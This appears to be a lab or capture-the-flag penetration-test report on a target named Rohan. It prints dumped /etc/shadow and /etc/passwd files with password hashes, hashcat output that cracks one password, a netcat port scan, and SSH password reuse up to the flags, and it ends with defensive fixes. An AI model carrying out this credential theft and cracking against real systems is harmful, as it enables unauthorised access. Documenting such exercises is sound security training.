## **Executive Report**

# **Exploiting Target Rohan**

(10.0.6.205)

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#### Introduction

The purpose of this report is to show the efforts and methods that were used in this investigation. It will include the exploits used, as well as command inputs, and lastly, the results.

#### **Executive Summary**

Rohan was first able to be accessed by first gaining access to Shadowfrax. Shadowfax has a known exploit through Anydesk, where attackers are able to perform remote code execution by opening a reverse shell on the UDP port 50001. This was done by crafting shellcode used for a buffer overflow attack which would allow for a reverse shell to be opened on Shadowfax from Rivendell where a listening port was established. Once this exploit was run, Big Money was able to access the **theoden** account where it is possible to pivot to other exploits for privilege escalation. In the Ubuntu kernel on Shadowfax, there is a built-in process known as GameOverlay where unprivileged accounts are able to escalate privileges. This exploit involves running a string of commands which when run will skip permission checking allowing attackers to elevate to a root account.

Once Big Money were able to gain access to a privileged account on Shadowfrax, Big Money navigated to the directory /etc/shadow. This directory contains a list of all accounts on the machine and their password hashes. After exporting the password hashes, Big Money then proceeded to crack the hashes in order to add to the collected loot for future contracts. After cracking the theoden account, Big Money found the password eowyn\_rohan. Once the contract began for Rohan, Big Money successfully gained access to the machine by SSHing into thoden-adm which used the same password listed above.

#### Objective

The objective is to conduct a penetration test on *rohan.rivendell.org*. Rohan is located on the *RIVENDELL* network which requires first gaining access to *fw-rivendell*. We were tasked with leveraging vulnerabilities found across both systems and network in order to elevate access up to administrator's access.

#### Recommendations

Big Money would recommend a few solutions or possible deterrents to stop this type of attack from happening in an uncontrolled environment.

- 1. Enforce a proper password policy across all machines. Using a password policy that aligns with modern security standards would prevent passwords being reused across multiple machines.
- 2. Disable root login from SSH. This would add an extra layer of security where attackers would not be able to simply SSH into a privileged account.
- 3. It is recommended that in order to prevent remote code execution is to upgrade anydesk to the latest version. Anydesk has a list of known vulnerabilities associated with different CVEs. Upgrading to the latest version would make shadowfax much more secure.
- 4. Across many different versions of Ubuntu, gameoverlay persists as a vulnerability. To patch the vulnerability it is required to change the permissions on kernel as follows:
  - sudo sysctl -w kernel.unprivileged\_userns\_clone=0
  - echo kernel.unprivileged\_userns\_clone=0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf



#### Network Access: fw-rivendell.shire.org // 10.0.5.250

Target: wks-rohan.rivendell.org // 10.0.6.205:

#### Information from **Shadowfax**

#### Passwords (theoden, root):

As root, two files are able to be accessed containing hashed passwords, /etc/passwd, and /etc/shadow.

```
cat /etc/shadow
root:$6$xTnm7s43IcmvPd2N$omxZ/pK9qLXTDz9lwihy1O5cTINRTDL60GNVloXDVtQgGBw5Uk
jkCCb3pIFtPaWhN7PdIfVcvdhVtKMDVP45×1:19269:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::
man:*:17647:0:99999:7:::
lp:*:17647:0:99999:7:::
mail:*:17647:0:99999:7:::
news:*:17647:0:99999:7:::
uucp:*:17647:0:99999:7:::
proxy:*:17647:0:99999:7:::
www-data:*:17647:0:99999:7:::
backup: *: 17647: 0:99999:7:::
list:*:17647:0:99999:7:::
irc:*:17647:0:99999:7:::
gnats:*:17647:0:99999:7:::
nobody:*:17647:0:99999:7:::
systemd-network: *:17647:0:99999:7:::
systemd-resolve:*:17647:0:99999:7:::
syslog:*:17647:0:99999:7:::
messagebus:*:17647:0:99999:7:::
_apt:*:17647:0:999999:7:::
uuidd:*:17647:0:99999:7:::
avahi-autoipd:*:17647:0:99999:7:::
usbmux:*:17647:0:99999:7:::
dnsmasq:*:17647:0:99999:7:::
rtkit:*:17647:0:99999:7:::
speech-dispatcher:!:17647:0:99999:7:::
whoopsie:*:17647:0:99999:7:::
kernoops:*:17647:0:99999:7:::
saned:*:17647:0:99999:7:::
pulse:*:17647:0:99999:7:::
avahi:*:17647:0:99999:7:::
colord:*:17647:0:99999:7:::
hplip:*:17647:0:99999:7:::
geoclue:*:17647:0:99999:7:::
gnome-initial-setup:*:17647:0:99999:7:::
gdm:*:17647:0:99999:7:::
deployer:$6$5V0cVyot$IoUh8LSt8t7vfZ8R3dx0h/QgE.iaDSqKthqTSnhofzXlRhCxZRW51T
Q9H6cCgGcf5AITSOOqbmgf85qmVmvhR.:19269:0:99999:7:::
theoden:$6$Nxnlv6l1tdFv3pQh$sLn2UBp.y0nQjx0bQ9mQkLj5ZkSjGfM2QpdnvRT9t26YVm/
sZg/Iwdy6xGxG6HHXJ3Fpdy7r1U05Kpw6w0LDu0:19269:0:99999:7:::
```



```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/n
ologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:
/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbi
n/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/
sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:
/bin/false
whoopsie:x:111:117::/nonexistent:/bin/false
kernoops:x:112:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:113:119::/var/lib/saned:/usr/sbin/nologin
pulse:x:114:120:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:115:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologi
colord:x:116:123:colord colour management daemon,,,:/var/lib/colord:/usr/sb
in/nologin
hplip:x:117:7:HPLIP system user,,,:/var/run/hplip:/bin/false
geoclue:x:118:124::/var/lib/geoclue:/usr/sbin/nologin
gnome-initial-setup:x:119:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:120:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
deployer:x:1000:1000:deployer,,,:/home/deployer:/bin/bash
theoden:x:1001:1001::/home/theoden:/bin/bash
```

After exporting these, we were able to unshadow this file to create the unshadowed hash to be used in cracking with HashCat.



```
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit ⇒ s
Session...... hashcat
Status..... Running
Hash.Mode.....: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target....: unshad wed.txt
Time.Started....: Sun Oct 29 21:07:25 2023 (2 mins, 30 secs)
Time.Estimated...: Sun Oct 29 21:18:44 2023 (8 mins, 49 secs)
Kernel.Feature ... : Pure Kernel
Guess.Base.....: File (rockyou.txt)
Guess.Queue....: 1/1 (100.00%)
Speed.#1.....: 21747 H/s (10.53ms) @ Accel:128 Loops:256 Thr:32 Vec:1
Speed.#2.....: 21162 H/s (10.09ms) @ Accel:128 Loops:256 Thr:32 Vec:1
Speed.#*....: 42910 H/s
Speed.#*....:
Recovered.....: 1/3 (33.33%) Digests (total), 1/3 (33.33%) Digests (new), 1/3 (33.33%) Salts
Progress.....: 8974336/43833155 (20.85%)
Rejected...... 0/8974336 (0.00%)
Restore.Point....: 2985984/14344385 (20.82%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:3072-3328
Restore.Sub.#2...: Salt:1 Amplifier:0-1 Iteration:2816-3072
Candidate.Engine.: Device Generator
Candidates.#1....: uk]d;lskm → ufcheer6
Candidates.#2....: uly861 → uka minunata
 Hardware.Mon.#1..: Temp: 77c Fan: 44% Util: 80% Core:1835MHz Mem:5005MHz Bus:16
Hardware.Mon.#2..: Temp: 80c Fan: 46% Util: 96% Core:1809MHz Mem:5005MHz Bus:16
$6$Nxnlv6l1tdFv3pQh$sLn2UBp.y0nQjx0bQ9mQkLj5ZkSjGfM2QpdnvRT9t26YVm/sZg/Iwdy6xGxG6HHXJ3Fpdy7r1U05Kpw6w0LDu0:eowyn_rohan
```



```
## Unshadow.txt ##

root:$6$xTnm7s43IcmvPd2N$omxZ/pK9qLXTDz9lwihy105cTINRTDL60G
NVloXDVtQgGBw5UkjkCCb3pIFtPaWhN7PdIfVcvdhVtKMDVP45x1:0:0:ro
ot:/root:/bin/bash
theoden:$6$Nxnlv6l1tdFv3pQh$sLn2UBp.y0nQjx0bQ9mQkLj5ZkSjGfM
2QpdnvRT9t26YVm/sZg/Iwdy6xGxG6HHXJ3Fpdy7r1U05Kpw6w0LDu0:100
1:1001::/home/theoden:/bin/bash
```

With this file put into Hashcat, these passwords were able to be cracked and utilized for making unauthorized connections via SSH.

#### SSH to Rohan

With these above credentials, we first tested if we were able to ssh directly to Rohan as the theoden user.

```
elrond@wp-rivendell:~$ ssh theoden@10.0.6.52
theoden@10.0.6.52's password:
Permission denied, please try again.
theoden@10.0.6.52's password:
Permission denied, please try again.
theoden@10.0.6.52's password:
theoden@10.0.6.52's password:
theoden@10.0.6.52: Permission denied (publickey,password).
```

This had not worked so we decided to look into the open ports on Rohan for some ideas.



```
elrond@wp-rivendell:~$ nc -vz 10.0.6.205 1-65000 2>&1 | grep succeeded
Connection to 10.0.6.205 22 port [tcp/ssh] succeeded!
Connection to 10.0.6.205 135 port [tcp/epmap] succeeded!
Connection to 10.0.6.205 139 port [tcp/netbios-ssn] succeeded!
Connection to 10.0.6.205 445 port [tcp/microsoft-ds] succeeded!
Connection to 10.0.6.205 3389 port [tcp/ms-wbt-server] succeeded!
Connection to 10.0.6.205 5040 port [tcp/*] succeeded!
Connection to 10.0.6.205 49664 port [tcp/*] succeeded!
Connection to 10.0.6.205 49665 port [tcp/*] succeeded!
Connection to 10.0.6.205 49666 port [tcp/*] succeeded!
Connection to 10.0.6.205 49668 port [tcp/*] succeeded!
Connection to 10.0.6.205 49668 port [tcp/*] succeeded!
Connection to 10.0.6.205 49669 port [tcp/*] succeeded!
Connection to 10.0.6.205 49669 port [tcp/*] succeeded!
Connection to 10.0.6.205 49669 port [tcp/*] succeeded!
Connection to 10.0.6.205 49670 port [tcp/*] succeeded!
Connection to 10.0.6.205 49671 port [tcp/*] succeeded!
```

Noticing that port 445 was open (the default for Windows AD), as well as seeing that is a microstoft windows machine, an SSH session was created with a similar username to the AD machines that are typically used (user-adm, user-administrator, administrator, admin, etc.). By doing this, a SSH session was created as theoden-adm, and the same password that was found earlier.

```
elrond@wp-rivendell:~$ ssh theoden-adm@10.0.6.205 theoden-adm@10.0.6.205's password:
```

```
PS C:\Users\theoden-adm
wks-rohan\theoden-adm
PS C:\Users\theoden-adm> cat .\root-flag.txt
"57b7679d-f1bb-4e73-99b8-f604ca66f56d"
PS C:\Users\theoden-adm> cd ..

PS C:\Users> cat .\theoden\user-flag.txt
"7bdaccea-74d9-417e-8efb-ffc1494d3604"
PS C:\Users>
```

